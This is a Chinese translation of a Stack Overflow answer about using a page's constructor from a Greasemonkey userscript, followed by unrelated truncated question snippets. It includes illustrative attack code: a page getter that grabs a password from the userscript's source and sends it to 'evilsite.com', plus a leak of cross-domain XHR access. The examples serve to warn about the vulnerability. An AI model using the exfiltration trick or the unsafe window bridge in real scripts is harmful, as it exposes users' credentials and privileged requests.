- Java 双重比较
- java - 比较器与 Apache BeanComparator
- Objective-C 完成 block 导致额外的方法调用?
- database - RESTful URI 是否应该公开数据库主键?
我的用户脚本将在其上运行的页面有一个命名空间,该命名空间定义了一个构造函数。我想使用相同的构造函数创建一个对象,并在我的用户脚本中使用该对象的方法。到目前为止,我一直没有成功。这就是我想要做的。
该页面具有以下 native javascript block :
var namespace={ constructor : function(){
this.sum = function(value1,value2){
alert(value1+value2);
}
}
}
像这样使用:
var pageObject=new namespace.constructor();
pageObject.sum(1,2);
在我的用户脚本中,我打算创建一个类似于 pageObject 的对象,并使用我自己的参数从中调用 sum。
我已尝试执行以下操作:
var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);
没有运气,尽管 greaseNameSpace 存在,甚至 greaseNameSpace.constructor 是一个有效的函数,使用新的 greaseNameSpace.constructor() 会产生未定义的结果。
还尝试了以下:
var greaseObject =new unsafeWindow.namespace.constructor();
greaseObject 仍然未定义。
我在这里找到了一个话题 How can I create an object of a class which is defined in the remote page?
但是它使用了 eval,我想知道这是否是正确的方法?
我们将不胜感激 :) 谢谢!!
最佳答案
我找到了解决问题的方法。但是请小心使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。
下面的代码获得了一个window
对象,没有unsafeWindow
的模糊限制。在此 window
对象的范围内执行的任何代码如果是实际页面的一部分,就会正常运行,类似于 Google Chrome 扩展程序中的内容脚本。
// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==
//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);
//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);
}).call($_WINDOW)
window
对象的方法/变量的代码包装在一个函数中,这样就不会产生危险的漏洞。不允许此函数包装器根据用户输入执行随机代码。$_WINDOW
的正确方法下面,我将展示以危险方式实现 $_WINDOW
对象的可能情况。很明显,“//page
”处的代码不是GM脚本的开发者所期望的。
注意:一些示例(例如示例2)可能对安全有用(本地)基于 Web 的应用程序(例如,在 file:///
协议(protocol)中)。
示例 3 显示了使用 $_WINDOW
的正确方法。
我使用神奇的 __defineGetter__
函数来检测对变量的调用,因为大多数脚本开发人员不知道此功能。直接调用函数也会触发有害代码;
主要原因在于arguments.callee.caller
。在函数内部,此对象将引用调用当前函数的函数。使用unsafeWindow
时,无法调用arguments.callee.caller
变量。然后该函数将显示为 function SJOWContentBoundary{ [native code]}
。但是,当使用 $_WINDOW
时,真正的 GM 函数是可见的,并且可以被远程页面调用。
示例 1:从 GreaseMonkey 脚本中读取(敏感的)数据
//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?
//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})
示例 2:将跨域 XMLHttpRequest
方法泄漏到任意页面。
此 GM 脚本的创建者旨在根据哈希更改修改页面。但是,通过在更改 URL/回调的函数中包含一个检查(页面是否应该受到影响),一个漏洞就产生了。
//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}
//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});
示例 3:正确使用
应该定义变量 getter,以便不能发出任意请求。函数不应接受变量。如果仍然有必要,请将 getter 包装在匿名函数中。
//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}
//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");
//Page:
var variable = "There's no way to abuse this GM bridge.";
关于javascript - 如何使用远程页面的构造函数在我的 Greasemonkey UserScript 中创建对象?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/4804765/
我需要将文本放在 中在一个 Div 中,在另一个 Div 中,在另一个 Div 中。所以这是它的样子: #document Change PIN
奇怪的事情发生了。 我有一个基本的 html 代码。 html,头部, body 。(因为我收到了一些反对票,这里是完整的代码) 这是我的CSS: html { backgroun
我正在尝试将 Assets 中的一组图像加载到 UICollectionview 中存在的 ImageView 中,但每当我运行应用程序时它都会显示错误。而且也没有显示图像。 我在ViewDidLoa
我需要根据带参数的 perl 脚本的输出更改一些环境变量。在 tcsh 中,我可以使用别名命令来评估 perl 脚本的输出。 tcsh: alias setsdk 'eval `/localhome/
我使用 Windows 身份验证创建了一个新的 Blazor(服务器端)应用程序,并使用 IIS Express 运行它。它将显示一条消息“Hello Domain\User!”来自右上方的以下 Ra
这是我的方法 void login(Event event);我想知道 Kotlin 中应该如何 最佳答案 在 Kotlin 中通配符运算符是 * 。它指示编译器它是未知的,但一旦知道,就不会有其他类
看下面的代码 for story in book if story.title.length < 140 - var story
我正在尝试用 C 语言学习字符串处理。我写了一个程序,它存储了一些音乐轨道,并帮助用户检查他/她想到的歌曲是否存在于存储的轨道中。这是通过要求用户输入一串字符来完成的。然后程序使用 strstr()
我正在学习 sscanf 并遇到如下格式字符串: sscanf("%[^:]:%[^*=]%*[*=]%n",a,b,&c); 我理解 %[^:] 部分意味着扫描直到遇到 ':' 并将其分配给 a。:
def char_check(x,y): if (str(x) in y or x.find(y) > -1) or (str(y) in x or y.find(x) > -1):
我有一种情况,我想将文本文件中的现有行包含到一个新 block 中。 line 1 line 2 line in block line 3 line 4 应该变成 line 1 line 2 line
我有一个新项目,我正在尝试设置 Django 调试工具栏。首先,我尝试了快速设置,它只涉及将 'debug_toolbar' 添加到我的已安装应用程序列表中。有了这个,当我转到我的根 URL 时,调试
在 Matlab 中,如果我有一个函数 f,例如签名是 f(a,b,c),我可以创建一个只有一个变量 b 的函数,它将使用固定的 a=a1 和 c=c1 调用 f: g = @(b) f(a1, b,
我不明白为什么 ForEach 中的元素之间有多余的垂直间距在 VStack 里面在 ScrollView 里面使用 GeometryReader 时渲染自定义水平分隔线。 Scrol
我想知道,是否有关于何时使用 session 和 cookie 的指南或最佳实践? 什么应该和什么不应该存储在其中?谢谢! 最佳答案 这些文档很好地了解了 session cookie 的安全问题以及
我在 scipy/numpy 中有一个 Nx3 矩阵,我想用它制作一个 3 维条形图,其中 X 轴和 Y 轴由矩阵的第一列和第二列的值、高度确定每个条形的 是矩阵中的第三列,条形的数量由 N 确定。
假设我用两种不同的方式初始化信号量 sem_init(&randomsem,0,1) sem_init(&randomsem,0,0) 现在, sem_wait(&randomsem) 在这两种情况下
我怀疑该值如何存储在“WORD”中,因为 PStr 包含实际输出。? 既然Pstr中存储的是小写到大写的字母,那么在printf中如何将其给出为“WORD”。有人可以吗?解释一下? #include
我有一个 3x3 数组: var my_array = [[0,1,2], [3,4,5], [6,7,8]]; 并想获得它的第一个 2
我意识到您可以使用如下方式轻松检查焦点: var hasFocus = true; $(window).blur(function(){ hasFocus = false; }); $(win
我是一名优秀的程序员,十分优秀!